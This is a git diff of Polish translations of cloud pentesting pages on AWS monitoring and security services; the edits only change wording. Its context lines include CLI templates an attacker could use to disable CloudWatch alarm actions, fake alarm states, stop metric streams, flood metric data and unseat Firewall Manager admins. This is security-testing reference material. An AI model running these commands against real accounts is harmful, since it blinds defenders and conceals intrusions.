uciszać legalne alarmy, skutecznie maskując złośliwe działania i uniemożliwiając terminowe reakcje na rzeczywiste incydenty. Dodatkowo, z uprawnieniem **`cloudwatch:PutCompositeAlarm`**, atakujący mógłby stworzyć pętlę lub cykl alarmów złożonych, gdzie alarm złożony A zależy od alarmu złożonego B, a alarm złożony B również zależy od alarmu złożonego A. W tym scenariuszu nie jest możliwe usunięcie jakiegokolwiek alarmu złożonego, który jest częścią cyklu, ponieważ zawsze istnieje alarm złożony, który zależy od alarmu, który chcesz usunąć. ```bash @@ -285,9 +285,9 @@ Przykład poniżej pokazuje, jak uczynić alarm metryczny nieskutecznym: Usuwając akcje alarmowe, atakujący może zapobiec wyzwoleniu krytycznych alertów i automatycznych odpowiedzi, gdy osiągnięty zostanie stan alarmu, na przykład powiadamianie administratorów lub uruchamianie działań auto-skalowania. Niewłaściwe włączanie lub ponowne włączanie akcji alarmowych może również prowadzić do nieoczekiwanych zachowań, zarówno przez reaktywację wcześniej wyłączonych akcji, jak i przez modyfikację, które akcje są wyzwalane, co może powodować zamieszanie i błędne kierowanie w odpowiedzi na incydenty. -Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub uciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu. +Ponadto, atakujący z odpowiednimi uprawnieniami mógłby manipulować stanami alarmów, mając możliwość tworzenia fałszywych alarmów, aby odwrócić uwagę i zdezorientować administratorów, lub wyciszać prawdziwe alarmy, aby ukryć trwające złośliwe działania lub krytyczne awarie systemu. -- Jeśli użyjesz **`SetAlarmState`** na alarmie złożonym, alarm złożony nie ma gwarancji powrotu do swojego rzeczywistego stanu. Powraca do swojego rzeczywistego stanu tylko wtedy, gdy którykolwiek z jego alarmów podrzędnych zmieni stan. Jest również ponownie oceniany, jeśli zaktualizujesz jego konfigurację. +- Jeśli użyjesz **`SetAlarmState`** na alarmie złożonym, alarm złożony nie ma gwarancji, że powróci do swojego rzeczywistego stanu. Powraca do swojego rzeczywistego stanu tylko wtedy, gdy którykolwiek z jego alarmów podrzędnych zmieni stan. Jest również ponownie oceniany, jeśli zaktualizujesz jego konfigurację. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names @@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] @@ -362,9 +362,9 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` **Potencjalny wpływ**: Utrata widoczności monitorowania i wprowadzające w błąd informacje. -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system niewidomym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji ze strony zespołu operacyjnego. +Reguły insight są używane do wykrywania anomalii, optymalizacji wydajności i efektywnego zarządzania zasobami. Usuwając istniejące reguły insight, atakujący mógłby usunąć krytyczne możliwości monitorowania, pozostawiając system niewidomym na problemy z wydajnością i zagrożenia bezpieczeństwa. Dodatkowo, atakujący mógłby tworzyć lub modyfikować reguły insight, aby generować wprowadzające w błąd dane lub ukrywać złośliwe działania, co prowadziłoby do błędnych diagnoz i niewłaściwych reakcji zespołu operacyjnego. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Dezaktywując krytyczne zasady wglądu, atakujący mógłby skutecznie oślepić organizację na kluczowe metryki wydajności i bezpieczeństwa. Z drugiej strony, włączając lub konfigurując mylące zasady, mogłoby być możliwe generowanie fałszywych danych, tworzenie szumów lub ukrywanie złośliwej aktywności. +Dezaktywując krytyczne zasady wglądu, atakujący mógłby skutecznie oślepić organizację na kluczowe metryki wydajności i bezpieczeństwa. Z drugiej strony, włączając lub konfigurowując mylące zasady, mogłoby być możliwe generowanie fałszywych danych, tworzenie szumów lub ukrywanie złośliwej aktywności. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -386,10 +386,10 @@ aws cloudwatch enable-insight-rules --rule-names Atakujący z uprawnieniami **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** mógłby tworzyć i usuwać strumienie danych metrycznych, kompromitując bezpieczeństwo, monitorowanie i integralność danych: - **Tworzenie złośliwych strumieni**: Tworzenie strumieni metrycznych w celu wysyłania wrażliwych danych do nieautoryzowanych miejsc. -- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo hałasu, powodując błędne alerty, maskując prawdziwe problemy. +- **Manipulacja zasobami**: Tworzenie nowych strumieni metrycznych z nadmiernymi danymi mogłoby generować dużo szumów, powodując błędne alerty, maskując prawdziwe problemy. - **Zakłócenie monitorowania**: Usuwając strumienie metryczne, atakujący zakłóciliby ciągły przepływ danych monitorujących. W ten sposób ich złośliwe działania byłyby skutecznie ukryte. -Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych, czyniąc go całkowicie bezużytecznym. +Podobnie, z uprawnieniem **`cloudwatch:PutMetricData`**, możliwe byłoby dodawanie danych do strumienia metrycznego. Mogłoby to prowadzić do DoS z powodu ilości niewłaściwych danych dodanych, czyniąc go całkowicie bezużytecznym. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format @@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -Napastnik mógłby kontrolować przepływ danych strumieni metryk (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk. +Napastnik kontrolowałby przepływ danych metryk w strumieniach (każdy strumień danych, jeśli nie ma ograniczeń zasobów). Posiadając uprawnienie **`cloudwatch:StopMetricStreams`**, napastnicy mogliby ukryć swoje złośliwe działania, zatrzymując krytyczne strumienie metryk. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index d94dc1741..9013053d1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -9,8 +9,8 @@ AWS Config **rejestruje zmiany zasobów**, więc każda zmiana w zasobie obsług Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem AWS Config. Składa się z pliku JSON, który **przechowuje informacje o konfiguracji, informacje o relacjach i inne metadane jako widok migawki w danym momencie obsługiwanego zasobu**. Wszystkie informacje, które AWS Config może zarejestrować dla zasobu, są przechwytywane w CI. CI jest tworzony **za każdym razem**, gdy w obsługiwanym zasobie dokonano jakiejkolwiek zmiany w konfiguracji. Oprócz rejestrowania szczegółów dotyczących dotkniętego zasobu, AWS Config zarejestruje również CI dla wszelkich bezpośrednio powiązanych zasobów, aby upewnić się, że zmiana nie wpłynęła również na te zasoby. - **Metadane**: Zawiera szczegóły dotyczące samego elementu konfiguracji. Identyfikator wersji i identyfikator konfiguracji, który unikalnie identyfikuje CI. Inne informacje mogą obejmować MD5Hash, który pozwala porównywać inne CI już zarejestrowane w odniesieniu do tego samego zasobu. -- **Atrybuty**: Zawiera wspólne **informacje o atrybutach w odniesieniu do rzeczywistego zasobu**. W tej sekcji mamy również unikalny identyfikator zasobu oraz wszelkie kluczowe tagi wartości, które są związane z zasobem. Typ zasobu jest również wymieniony. Na przykład, jeśli byłby to CI dla instancji EC2, wymienione typy zasobów mogłyby obejmować interfejs sieciowy lub elastyczny adres IP dla tej instancji EC2. -- **Relacje**: Zawiera informacje o wszelkich połączeniach **relacji, które zasób może mieć**. W tej sekcji wyświetli jasny opis wszelkich relacji z innymi zasobami, które ten zasób miał. Na przykład, jeśli CI dotyczyła instancji EC2, sekcja relacji może pokazać połączenie z VPC wraz z podsiecią, w której znajduje się instancja EC2. +- **Atrybuty**: Zawiera wspólne **informacje o atrybutach w odniesieniu do rzeczywistego zasobu**. W tej sekcji mamy również unikalny identyfikator zasobu oraz wszelkie kluczowe tagi wartości, które są powiązane z zasobem. Typ zasobu jest również wymieniony. Na przykład, jeśli byłby to CI dla instancji EC2, wymienione typy zasobów mogłyby obejmować interfejs sieciowy lub elastyczny adres IP dla tej instancji EC2. +- **Relacje**: Zawiera informacje o wszelkich połączeniach **relacji, które zasób może mieć**. W tej sekcji wyświetli jasny opis wszelkich relacji z innymi zasobami, które ten zasób miał. Na przykład, jeśli CI dotyczyła instancji EC2, sekcja relacji mogłaby pokazać połączenie z VPC wraz z podsiecią, w której znajduje się instancja EC2. - **Bieżąca konfiguracja:** Wyświetli te same informacje, które byłyby generowane, gdybyś wykonał wywołanie API describe lub list za pomocą AWS CLI. AWS Config używa tych samych wywołań API, aby uzyskać te same informacje. - **Powiązane zdarzenia**: To odnosi się do AWS CloudTrail. Wyświetli **identyfikator zdarzenia AWS CloudTrail, który jest związany ze zmianą, która wywołała utworzenie tego CI**. Dla każdej zmiany dokonanej w zasobie tworzony jest nowy CI. W rezultacie będą tworzone różne identyfikatory zdarzeń CloudTrail. @@ -24,9 +24,9 @@ Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem ### Działanie -- Gdy dokonujesz zmian, na przykład w grupie zabezpieczeń lub liście kontroli dostępu do koszyka —> wywołaj jako zdarzenie przechwycone przez AWS Config +- Gdy dokonujesz zmian, na przykład w grupie zabezpieczeń lub liście kontroli dostępu do koszyka —> wyzwala zdarzenie przechwycone przez AWS Config - Przechowuje wszystko w koszyku S3 -- W zależności od konfiguracji, gdy coś się zmienia, może to wywołać funkcję lambda LUB zaplanować funkcję lambda, aby okresowo przeszukiwała ustawienia AWS Config +- W zależności od konfiguracji, gdy coś się zmienia, może to wyzwolić funkcję lambda LUB zaplanować funkcję lambda, aby okresowo przeszukiwała ustawienia AWS Config - Lambda przekazuje informacje z powrotem do Config - Jeśli zasada została naruszona, Config uruchamia SNS @@ -34,13 +34,13 @@ Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem ### Reguły Config -Reguły Config to świetny sposób, aby pomóc ci **w egzekwowaniu konkretnych kontroli zgodności** **i kontroli w całych zasobach**, i pozwala na przyjęcie idealnej specyfikacji wdrożenia dla każdego z typów zasobów. Każda reguła **jest zasadniczo funkcją lambda**, która po wywołaniu ocenia zasób i wykonuje prostą logikę, aby określić wynik zgodności z regułą. **Za każdym razem, gdy dokonana jest zmiana** w jednym z twoich obsługiwanych zasobów, **AWS Config sprawdzi zgodność z wszelkimi regułami config, które masz wprowadzone**.\ +Reguły Config to świetny sposób na pomoc w **egzekwowaniu konkretnych kontroli zgodności** **i kontroli w całych zasobach**, i pozwala na przyjęcie idealnej specyfikacji wdrożenia dla każdego z typów zasobów. Każda reguła **jest zasadniczo funkcją lambda**, która po wywołaniu ocenia zasób i wykonuje prostą logikę, aby określić wynik zgodności z regułą. **Za każdym razem, gdy dokonana jest zmiana** w jednym z twoich obsługiwanych zasobów, **AWS Config sprawdzi zgodność z wszelkimi regułami config, które masz wprowadzane**.\ AWS ma szereg **zdefiniowanych reguł**, które mieszczą się w ramach bezpieczeństwa i są gotowe do użycia. Na przykład, Rds-storage-encrypted. Sprawdza, czy szyfrowanie pamięci masowej jest aktywowane przez twoje instancje bazy danych RDS. Encrypted-volumes. Sprawdza, czy jakiekolwiek wolumeny EBS, które mają stan podłączony, są szyfrowane. - **Zarządzane reguły AWS**: Zestaw zdefiniowanych reguł, które obejmują wiele najlepszych praktyk, więc zawsze warto najpierw przeszukać te reguły, zanim utworzysz własne, ponieważ istnieje szansa, że reguła może już istnieć. - **Reguły niestandardowe**: Możesz tworzyć własne reguły, aby sprawdzać konkretne niestandardowe konfiguracje. -Limit 50 reguł config na region, zanim będziesz musiał skontaktować się z AWS w celu zwiększenia.\ +Limit 50 reguł config na region przed koniecznością skontaktowania się z AWS w celu zwiększenia.\ Wyniki niezgodne nie są USUWANE. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 5b1d95267..3b2495b03 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -11,7 +11,7 @@ AWS Control Tower to **usługa oferowana przez Amazon Web Services (AWS)**, któ AWS Control Tower oferuje **zestaw wstępnie zdefiniowanych najlepszych praktyk**, które można dostosować do specyficznych **wymagań organizacyjnych**. Te plany obejmują wstępnie skonfigurowane usługi i funkcje AWS, takie jak AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog. -Dzięki AWS Control Tower administratorzy mogą szybko skonfigurować **środowisko wielokontowe, które spełnia wymagania organizacyjne**, takie jak **bezpieczeństwo** i zgodność. Usługa oferuje centralny pulpit nawigacyjny do przeglądania i zarządzania kontami oraz zasobami, a także automatyzuje provisionowanie kont, usług i zasad. +Dzięki AWS Control Tower administratorzy mogą szybko skonfigurować **środowisko wielokontowe, które spełnia wymagania organizacyjne**, takie jak **bezpieczeństwo** i zgodność. Usługa oferuje centralny pulpit nawigacyjny do przeglądania i zarządzania kontami oraz zasobami, a także automatyzuje przydzielanie kont, usług i zasad. Dodatkowo, AWS Control Tower zapewnia "guardrails", które są zestawem wstępnie skonfigurowanych zasad, które zapewniają, że środowisko pozostaje zgodne z wymaganiami organizacyjnymi. Te zasady można dostosować do specyficznych potrzeb. @@ -19,7 +19,7 @@ Ogólnie rzecz biorąc, AWS Control Tower upraszcza proces konfigurowania i zarz ### Enumeration -Aby enumerować kontrole controltower, najpierw musisz **enumerować organizację**: +Aby enumerować kontrolki controltower, najpierw musisz **enumerować organizację**: {{#ref}} ../aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 5916ff7fb..67d7a6d0d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,7 +4,7 @@ ## Detective -**Amazon Detective** upraszcza proces dochodzenia w sprawach bezpieczeństwa, czyniąc go bardziej efektywnym w **analizowaniu, badaniu i określaniu przyczyny** problemów bezpieczeństwa lub nietypowych działań. Automatyzuje zbieranie danych logów z zasobów AWS i wykorzystuje **uczenie maszynowe, analizę statystyczną i teorię grafów** do budowy powiązanego zestawu danych. Ta konfiguracja znacznie zwiększa szybkość i skuteczność dochodzeń w sprawach bezpieczeństwa. +**Amazon Detective** upraszcza proces dochodzenia w zakresie bezpieczeństwa, czyniąc go bardziej efektywnym w **analizowaniu, badaniu i określaniu przyczyny** problemów bezpieczeństwa lub nietypowych działań. Automatyzuje zbieranie danych logów z zasobów AWS i wykorzystuje **uczenie maszynowe, analizę statystyczną i teorię grafów** do budowy powiązanego zestawu danych. Ta konfiguracja znacznie zwiększa szybkość i skuteczność dochodzeń w zakresie bezpieczeństwa. Usługa ułatwia dogłębną eksplorację incydentów bezpieczeństwa, pozwalając zespołom bezpieczeństwa szybko zrozumieć i rozwiązać podstawowe przyczyny problemów. Amazon Detective analizuje ogromne ilości danych z takich źródeł jak VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatycznie generuje **kompleksowy, interaktywny widok zasobów, użytkowników i ich interakcji w czasie**. Ta zintegrowana perspektywa dostarcza wszystkich niezbędnych szczegółów i kontekstu w jednym miejscu, umożliwiając zespołom dostrzeganie przyczyn ustaleń dotyczących bezpieczeństwa, badanie istotnych działań historycznych i szybkie określenie przyczyny. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 31cecf9b2..0794db2b4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -36,11 +36,11 @@ AWS Firewall Manager zarządza kilkoma rodzajami polityk w celu egzekwowania kon 1. **Polityka AWS WAF:** Ten typ polityki obsługuje zarówno AWS WAF, jak i AWS WAF Classic. Możesz zdefiniować, które zasoby są chronione przez politykę. Dla polityk AWS WAF możesz określić zestawy grup reguł, które mają być uruchamiane jako pierwsze i ostatnie w web ACL. Dodatkowo, właściciele kont mogą dodawać reguły i grupy reguł do uruchomienia pomiędzy tymi zestawami. 2. **Polityka Shield Advanced:** Ta polityka stosuje ochrony Shield Advanced w całej Twojej organizacji dla określonych typów zasobów. Pomaga chronić przed atakami DDoS i innymi zagrożeniami. -3. **Polityka grupy bezpieczeństwa Amazon VPC:** Dzięki tej polityce możesz zarządzać grupami bezpieczeństwa używanymi w całej Twojej organizacji, egzekwując podstawowy zestaw reguł w całym środowisku AWS w celu kontrolowania dostępu do sieci. -4. **Polityka listy kontroli dostępu do sieci (ACL) Amazon VPC:** Ten typ polityki daje Ci kontrolę nad ACL używanymi w Twojej organizacji, pozwalając na egzekwowanie podstawowego zestawu ACL w całym środowisku AWS. +3. **Polityka grup bezpieczeństwa Amazon VPC:** Dzięki tej polityce możesz zarządzać grupami bezpieczeństwa używanymi w całej Twojej organizacji, egzekwując podstawowy zestaw reguł w całym środowisku AWS w celu kontrolowania dostępu do sieci. +4. **Polityka listy kontroli dostępu do sieci (ACL) Amazon VPC:** Ten typ polityki daje Ci kontrolę nad ACL używanymi w Twojej organizacji, umożliwiając egzekwowanie podstawowego zestawu ACL w całym środowisku AWS. 5. **Polityka Network Firewall:** Ta polityka stosuje ochronę AWS Network Firewall do VPC Twojej organizacji, zwiększając bezpieczeństwo sieci poprzez filtrowanie ruchu na podstawie zdefiniowanych reguł. 6. **Polityka DNS Firewall Amazon Route 53 Resolver:** Ta polityka stosuje ochrony DNS Firewall do VPC Twojej organizacji, pomagając blokować złośliwe próby rozwiązywania domen i egzekwować polityki bezpieczeństwa dla ruchu DNS. -7. **Polityka zapory innych firm:** Ten typ polityki stosuje ochrony z zapór innych firm, które są dostępne na subskrypcję przez konsolę AWS Marketplace. Umożliwia to integrację dodatkowych środków bezpieczeństwa od zaufanych dostawców w Twoim środowisku AWS. +7. **Polityka zapory innych firm:** Ten typ polityki stosuje ochrony z zapór innych firm, które są dostępne w subskrypcji przez konsolę AWS Marketplace. Umożliwia to integrację dodatkowych środków bezpieczeństwa od zaufanych dostawców w Twoim środowisku AWS. 1. **Polityka Palo Alto Networks Cloud NGFW:** Ta polityka stosuje ochrony i zestawy reguł Palo Alto Networks Cloud Next Generation Firewall (NGFW) do VPC Twojej organizacji, zapewniając zaawansowaną ochronę przed zagrożeniami i kontrolę bezpieczeństwa na poziomie aplikacji. 2. **Polityka Fortigate Cloud Native Firewall (CNF) as a Service:** Ta polityka stosuje ochrony Fortigate Cloud Native Firewall (CNF) as a Service, oferując wiodącą w branży ochronę przed zagrożeniami, zaporę aplikacyjną (WAF) i ochronę API dostosowaną do infrastruktury chmurowej. @@ -54,7 +54,7 @@ AWS Firewall Manager oferuje elastyczność w zarządzaniu zasobami zapory w Two - Regiony, w których administrator może podejmować działania. - Typy polityk Firewall Manager, którymi administrator może zarządzać. -Zakres administracyjny może być **pełny lub ograniczony**. Pełny zakres przyznaje administratorowi dostęp do **wszystkich określonych typów zasobów, regionów i typów polityk**. W przeciwieństwie do tego, **ograniczony zakres zapewnia uprawnienia administracyjne tylko do podzbioru zasobów, regionów lub typów polityk**. Zaleca się przyznawanie administratorom tylko tych uprawnień, które są im potrzebne do skutecznego wypełniania swoich ról. Możesz zastosować dowolną kombinację tych warunków zakresu administracyjnego do administratora, zapewniając przestrzeganie zasady najmniejszych uprawnień. +Zakres administracyjny może być **pełny lub ograniczony**. Pełny zakres przyznaje administratorowi dostęp do **wszystkich określonych typów zasobów, regionów i typów polityk**. Z kolei **ograniczony zakres zapewnia uprawnienia administracyjne tylko do podzbioru zasobów, regionów lub typów polityk**. Zaleca się przyznawanie administratorom tylko tych uprawnień, które są im potrzebne do skutecznego wypełniania swoich ról. Możesz zastosować dowolną kombinację tych warunków zakresu administracyjnego do administratora, zapewniając przestrzeganie zasady najmniejszych uprawnień. Istnieją dwa odrębne typy kont administratorów, z których każde pełni określone role i odpowiedzialności: @@ -66,13 +66,13 @@ Istnieją dwa odrębne typy kont administratorów, z których każde pełni okre - **Administratorzy Firewall Manager:** - Ci administratorzy mogą zarządzać zasobami w zakresie określonym przez konto zarządzające AWS Organizations, zgodnie z konfiguracją zakresu administracyjnego. - Administratorzy Firewall Manager są tworzeni w celu wypełnienia określonych ról w organizacji, co pozwala na delegowanie odpowiedzialności przy jednoczesnym zachowaniu standardów bezpieczeństwa i zgodności. -- Po utworzeniu Firewall Manager sprawdza z AWS Organizations, czy konto jest już delegowanym administratorem. Jeśli nie, Firewall Manager wzywa Organizations, aby wyznaczyć konto jako delegowanego administratora dla Firewall Manager. +- Po utworzeniu Firewall Manager sprawdza z AWS Organizations, czy konto jest już delegowanym administratorem. Jeśli nie, Firewall Manager kontaktuje się z Organizations, aby wyznaczyć konto jako delegowanego administratora dla Firewall Manager. Zarządzanie tymi kontami administratorów polega na ich tworzeniu w Firewall Manager i definiowaniu ich zakresów administracyjnych zgodnie z wymaganiami bezpieczeństwa organizacji oraz zasadą najmniejszych uprawnień. Przez przypisanie odpowiednich ról administracyjnych organizacje mogą zapewnić skuteczne zarządzanie bezpieczeństwem, jednocześnie zachowując szczegółową kontrolę nad dostępem do wrażliwych zasobów. Ważne jest, aby podkreślić, że **tylko jedno konto w organizacji może pełnić rolę domyślnego administratora Firewall Manager**, przestrzegając zasady "**pierwszy wchodzi, ostatni wychodzi**". Aby wyznaczyć nowego domyślnego administratora, należy wykonać szereg kroków: -- Najpierw każde konto administratora Firewall musi cofnąć swoje własne konto. +- Najpierw każde konto administratora Firewall Administrator musi cofnąć swoje własne konto. - Następnie istniejący domyślny administrator może cofnąć swoje własne konto, skutecznie wycofując organizację z Firewall Manager. Proces ten skutkuje usunięciem wszystkich polityk Firewall Manager stworzonych przez cofnięte konto. - Na koniec konto zarządzające AWS Organizations musi wyznaczyć domyślnego administratora Firewall Manager. @@ -165,9 +165,9 @@ aws fms get-violation-details --policy-id --member-account --res ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -Atakujący z uprawnieniem **`fms:AssociateAdminAccount`** mógłby ustawić domyślne konto administratora Firewall Managera. Z uprawnieniem **`fms:PutAdminAccount`**, atakujący mógłby utworzyć lub zaktualizować konto administratora Firewall Managera, a z uprawnieniem **`fms:DisassociateAdminAccount`**, potencjalny atakujący mógłby usunąć bieżące powiązanie konta administratora Firewall Managera. +Atakujący z uprawnieniem **`fms:AssociateAdminAccount`** mógłby ustawić domyślne konto administratora Firewall Manager. Z uprawnieniem **`fms:PutAdminAccount`**, atakujący mógłby utworzyć lub zaktualizować konto administratora Firewall Manager, a z uprawnieniem **`fms:DisassociateAdminAccount`**, potencjalny atakujący mógłby usunąć bieżące powiązanie konta administratora Firewall Manager. -- Rozłączenie domyślnego administratora **Firewall Managera podlega zasadzie pierwsze weszło, ostatnie wyszło**. Wszyscy administratorzy Firewall Managera muszą się rozłączyć, zanim domyślny administrator Firewall Managera będzie mógł rozłączyć konto. +- Rozłączenie **domyślnego administratora Firewall Managera podlega zasadzie pierwsze wchodzi, ostatnie wychodzi**. Wszyscy administratorzy Firewall Manager muszą się rozłączyć, zanim domyślny administrator Firewall Managera będzie mógł rozłączyć konto. - Aby utworzyć administratora Firewall Managera za pomocą **PutAdminAccount**, konto musi należeć do organizacji, która wcześniej została wprowadzona do Firewall Managera za pomocą **AssociateAdminAccount**. - Utworzenie konta administratora Firewall Managera może być dokonane tylko przez konto zarządzające organizacją. ```bash @@ -273,7 +273,7 @@ aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETW ### `fms:TagResource`, `fms:UntagResource` -Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Firewall Manager, zakłócając alokację kosztów, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach. +Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Firewall Manager, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu oparte na tagach. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 8623257b3..64001fdc3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,7 +4,7 @@ ## GuardDuty -Zgodnie z [**dokumentacją**](https://aws.amazon.com/guardduty/features/): GuardDuty łączy **uczenie maszynowe, wykrywanie anomalii, monitorowanie sieci i odkrywanie złośliwych plików**, korzystając zarówno z AWS, jak i wiodących źródeł zewnętrznych, aby pomóc w ochronie obciążeń i danych na AWS. GuardDuty jest w stanie analizować dziesiątki miliardów zdarzeń z wielu źródeł danych AWS, takich jak dzienniki zdarzeń AWS CloudTrail, dzienniki przepływu Amazon Virtual Private Cloud (VPC), dzienniki audytów i systemowe Amazon Elastic Kubernetes Service (EKS) oraz dzienniki zapytań DNS. +Zgodnie z [**dokumentacją**](https://aws.amazon.com/guardduty/features/): GuardDuty łączy **uczenie maszynowe, wykrywanie anomalii, monitorowanie sieci i odkrywanie złośliwych plików**, korzystając zarówno z AWS, jak i wiodących źródeł zewnętrznych, aby pomóc w ochronie obciążeń i danych na AWS. GuardDuty jest w stanie analizować dziesiątki miliardów zdarzeń z różnych źródeł danych AWS, takich jak logi zdarzeń AWS CloudTrail, logi przepływu Amazon Virtual Private Cloud (VPC), logi audytowe i systemowe Amazon Elastic Kubernetes Service (EKS) oraz logi zapytań DNS. Amazon GuardDuty **identyfikuje nietypową aktywność w Twoich kontach**, analizuje **znaczenie bezpieczeństwa** tej aktywności i podaje **kontekst**, w jakim została wywołana. Umożliwia to osobie reagującej określenie, czy powinna poświęcić czas na dalsze dochodzenie. @@ -16,10 +16,10 @@ Alerty **pojawiają się w konsoli GuardDuty (90 dni)** oraz w CloudWatch Events ### Przykład Ustaleń -- **Reconnaissance**: Aktywność sugerująca rozpoznanie przez atakującego, takie jak **nietypowa aktywność API**, podejrzane próby **logowania** do bazy danych, skanowanie **portów** wewnątrz VPC, nietypowe wzorce nieudanych próśb o logowanie lub skanowanie portów z znanego złego adresu IP. -- **Instance compromise**: Aktywność wskazująca na kompromitację instancji, taka jak **kopanie kryptowalut, złośliwe polecenia i kontrola (C\&C)**, złośliwe oprogramowanie wykorzystujące algorytmy generowania domen (DGA), aktywność odmowy usługi wychodzącej, nietypowo **wysoki wolumen** ruchu sieciowego, nietypowe protokoły sieciowe, komunikacja instancji wychodzącej z znanym złośliwym adresem IP, tymczasowe poświadczenia Amazon EC2 używane przez zewnętrzny adres IP oraz eksfiltracja danych przy użyciu DNS. -- **Account compromise**: Typowe wzorce wskazujące na kompromitację konta obejmują wywołania API z nietypowej geolokalizacji lub anonimowego proxy, próby wyłączenia logowania AWS CloudTrail, zmiany osłabiające politykę haseł konta, nietypowe uruchomienia instancji lub infrastruktury, wdrożenia infrastruktury w nietypowym regionie, kradzież poświadczeń, podejrzana aktywność logowania do bazy danych oraz wywołania API z znanych złośliwych adresów IP. -- **Bucket compromise**: Aktywność wskazująca na kompromitację koszyka, taka jak podejrzane wzorce dostępu do danych wskazujące na nadużycie poświadczeń, nietypowa aktywność API Amazon S3 z zdalnego hosta, nieautoryzowany dostęp S3 z znanych złośliwych adresów IP oraz wywołania API w celu pobrania danych z koszyków S3 od użytkownika bez wcześniejszej historii dostępu do koszyka lub wywołane z nietypowej lokalizacji. Amazon GuardDuty nieprzerwanie monitoruje i analizuje zdarzenia danych S3 AWS CloudTrail (np. GetObject, ListObjects, 